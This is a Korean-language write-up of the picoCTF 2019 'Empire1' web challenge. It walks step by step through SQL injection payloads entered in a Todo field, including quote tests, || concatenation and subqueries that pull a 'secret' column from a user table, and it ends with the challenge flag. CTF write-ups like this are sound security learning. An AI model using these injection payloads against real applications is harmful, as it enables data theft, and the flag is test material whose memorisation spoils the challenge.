picoCTF 2019 : Empire1
Q. now that you're an employee of Evil Empire Co., try to get their secrets off the company website. Can you first find the secret code they assigned to you?
Evil Empire 의 노동자로 잠입해서 시크릿코드를 훔쳐와야한다.
페이지 메인에 들어오면 할게 없으니 계정 생성 후 로그인부터 해야한다.
탑메뉴에 메뉴가 3개 생긴다.
5번 계정은 인젝션 반응 보려고 아이디 생성할때 넣어봤는데 안된다.
Add a Todo에서 입력한 데이터가 Your Todos에 쌓인다.
Insert 구문 인젝션인지 확인하기위해 넣어봤다
입력값 : '
입력값 : '+'1'+'
뭔가 될거같다
입력값 : '+'test'+'
입력값 : '|| 'test' ||'
입력값 : '|| (select 1 where 1=1) || '
문자열을 더하면 0이고, from없이 where 사용가능하고 ||가 문자열 연결하는 연산자고
데이터베이스가 뭔지 알 수 없다..
' || (select 1 from dual)|| '
' || (select 1 from information_schema.tables limit 1)|| '
을 입력하면 500에러가 발생한다.
여기선 그냥 추측을 통해 풀었다.
employee또는 user 테이블이 있을거라 추측하고
입력값 : ' || (select 1 from user)|| '
결과 : 1
Employee Listing 페이지에 접속하면 계정정보가 나왔으니 이 테이블이 user테이블일거라 추측하고
name, username, employid, id, no 이정도 컬럼이 존재할것 같았다.
입력값 : ' || (select name from user)|| '
결과 : Jarrett Booz
혹시나 secret 이라는 컬럼이 있는지 확인했다
입력값 : ' || (select secret from user)|| '
결과 : Likes Oreos.
여러 열 중에서 맨윗줄만 가져왔을 가능성이 높기 때문에 (user테이블의 계정정보는 현재 10개넘는다)
입력값 : ' || (select secret from user where id=1)|| '
입력값 : ' || (select secret from user where id=2)|| '
입력값 : ' || (select secret from user where id=3)|| '
거의 게싱으로 맞췄기 때문에 풀이가 궁금하다. DB종류도..
-> sqlite 웹버전이였다.
picoCTF{wh00t_it_a_sql_injectdf389592}